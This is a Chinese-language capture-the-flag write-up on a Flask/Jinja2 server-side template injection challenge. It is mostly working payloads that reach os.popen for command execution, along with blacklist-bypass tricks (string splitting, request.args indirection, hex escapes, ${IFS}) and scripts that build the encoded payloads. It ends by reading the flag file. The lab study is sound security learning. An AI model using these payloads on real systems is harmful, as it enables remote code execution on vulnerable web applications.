# [NewStarCTF 公开赛赛道] BabySSTI_Two

# 0x01 测试黑名单

SSTI / 沙盒逃逸详细总结 - 安全客 - 安全资讯平台 (anquanke.com)

细说 Jinja2 之 SSTI&bypass - FreeBuf 网络安全行业门户

?name={{1+1}}  # + 过滤

/?name={{"hj"}}   # ""  过滤

?name={{'~'}}     # ~ 过滤

/?name={{'j s'}}  # 空格过滤 单引号可以使用

?name={{'a.b'}}   # . 可以使用

?name={{'a[]b'}}  # [] 可以使用

?name={{'a()b'}}  # () 可以使用

?name={{'()__'}}  # __ 可以使用

?name={{'popen'}}  # popen 过滤

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

# popen、eval、system 过滤
?name={{lipsum[request.args.t1][request.args.t2][request.args.t3]('os').popen('ls').read()}}&t1=__globals__&t2=__builtins__&t3=__import__
 
# 绕过 popen 通过 base64 编码 不可行
['cG9wZW4='.decode('base64')]  #popen
['ZXZhbA=='.decode('base64')]  #eval
("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')) #__import__('os').popen('ls').read()

?name={{lipsum.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}}


?name={{joiner.__in''it__.__glob''als__.__bui''ltins__['__im''port__']('os').popen('ls').read()}}


# 可执行
?name={{[]['__c''lass__']['__ba''se__']['__subcl''asses__']()}}

# 利用脚本跑出利用函数位置
{{().__cl''ass__.__bas''es__[0].__su''bcl''asses__()[177].__in''it__.__glob''als__.__bu''iltins__['open']('ls').read()}}

?name={{[].__cla''ss__.__ba''se__.__subcla''sses__()[117].__in''it__.__glo''bals__['__built''ins__']['__imp''ort__']('os').__di''ct__['pop''en']('ls').read()}}


/?name={{''['__cla''ss__']['__bas''es__'][0]['__subcl''asses__']()[117]['__in''it__'].__glo''bals__['nepop'[::-1]]('id').read()}}
# 0x02 绕过测试
# __ 黑名单绕过

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

# [] 绕过 getitem() 用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
# encoding=utf-8


str1 = 'popen'
res = ''
for i in str1:
  res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])


for i in range(len(str1)):
    print(str(hex(ord(str1[i]))),end=',') # \x70\x6f\x70\x65\x6e

popen 绕过失败

SSTI 注入绕过 (沙盒逃逸原理一样) - 冬泳怪鸽 - 博客园 (cnblogs.com)

?name={{lipsum.__glo''bals__.__bu''iltins__['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk='.decode('base64'))}}

失败,不知道什么原因

https://blog.csdn.net/weixin_54515836/article/details/113778233

# 发现
166  <class 'warnings.catch_warnings'>

#调用commands进行命令执行
?name=
{{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

?name={{lipsum.__glo''bals__.__buil''tins__['__import__']('os').open('ereh_ni_galf/'[::-1],'r').read()}}
# 0x03 Rce success

尝试全 hex 编码 ,数据构建脚本:

# encoding=utf-8


text = "{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}"
print(text.encode())

enc = "{{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}"

i = 0
while i <= len(enc) - 1:
    if enc[i] == "'":
        print(enc[i], end='')
        k = i + 1
        while enc[k] != "'":
            print('\\x' + str(hex(ord(enc[k])))[2:], end='')
            k += 1
        print(enc[k], end='')
        i = k+1
        continue
    print(enc[i], end='')
    i += 1
# 尝试全hex 编码

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
======>  # 方便编码使用
?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
======>
?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}


name={{''['__class__']['__base__']['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['read']()}}
====>
?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}

# 发现成功读取 app.py

Welcome to NewStarCTF Again, Dear from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer')
    if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
        t = Template("

# 读取根目录
'ls${IFS}/'
Welcome to NewStarCTF Again, Dear app
bin
boot
dev
etc
flag_in_h3r3_52daad
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

# getflag
'c$@at${IFS}/fl$@ag_in_h3r3_52daad'

?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}


image-20250209214445045